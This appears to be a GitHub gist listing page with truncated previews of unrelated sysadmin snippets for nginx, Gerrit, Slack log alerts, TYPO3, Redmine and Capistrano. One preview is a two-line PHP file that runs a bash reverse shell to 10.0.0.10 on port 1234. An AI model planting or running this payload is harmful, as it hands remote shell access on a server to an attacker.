This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| upstream gitlab { | |
| server 172.17.42.1:10080 fail_timeout=0; | |
| } | |
| # let gitlab deal with the redirection | |
| server { | |
| listen 80; | |
| server_name git.example.com; | |
| server_tokens off; | |
| root /dev/null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| The documentation for Gerrit when it comes to formatting comments is quite lacking. Here is short list created by trial and error and looking at the source code in: | |
| ./gerrit-gwtexpui/src/main/java/com/google/gwtexpui/safehtml/client/SafeHtml.java | |
| Lists: | |
| * List item 1 | |
| * List item 2 | |
| - List item 1 | |
| - List item 2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/ruby | |
| path = "/Users/tobias/fake-mailer" | |
| Dir.mkdir(path) if !File.exists?(path) | |
| File.open("#{path}/#{Time.now.to_i}.eml", "w") do |f| | |
| f.puts ARGV.inspect | |
| $stdin.each_line { |line| f.puts line } | |
| end | |
| sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| tail -n 1 -f /var/path/to/file.log | while read line; do | |
| echo $line | grep -v "PATTERN TO IGNORE" | |
| if `test $? -eq 0`; then | |
| cleanLine=`echo $line | tr -d '"'` | |
| payload="payload={\"channel\": \"#channel\", \"username\": \"dev:typo3-sys.log\", \"text\": \"$cleanLine\", \"icon_emoji\": \":interrobang:\"}" | |
| curl -X POST --data-urlencode "$payload" https://TEAM.slack.com/services/hooks/incoming-webhook\?token\=TOKEN | |
| fi | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # exit on any errors: | |
| set -e | |
| if [ $# -lt 1 ] | |
| then | |
| echo "Usage: $0 @pantheon-alias" | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* * | |
| * This script is part of the TYPO3 project - inspiring people to share! * | |
| * * | |
| * TYPO3 is free software; you can redistribute it and/or modify it under * | |
| * the terms of the GNU General Public License version 2 as published by * | |
| * the Free Software Foundation. * | |
| * * | |
| * This script is distributed in the hope that it will be useful, but * | |
| * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # Author: Sameer Naik <[email protected]> | |
| # Gist: https://gist.github.com/sameersbn/dd24dfdd13bc472d11a5 | |
| # Short Url (raw): http://goo.gl/iJcvCP | |
| # | |
| # Installs a bunch of plugins for the docker-redmine image | |
| # | |
| # Usage: | |
| # $ mkdir -p /opt/redmine/data/plugins |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # lib/capistrano/tasks/config_files.cap | |
| # | |
| # Capistrano task to upload configuration files outside SCM | |
| # Jesus Burgos Macia | |
| # | |
| # This allows us to have server's config files isolated from development ones. | |
| # That's useful for several reasons, but the most important is that you can | |
| # ignore files from repository. | |
| # | |
| # The task will upload all files found in |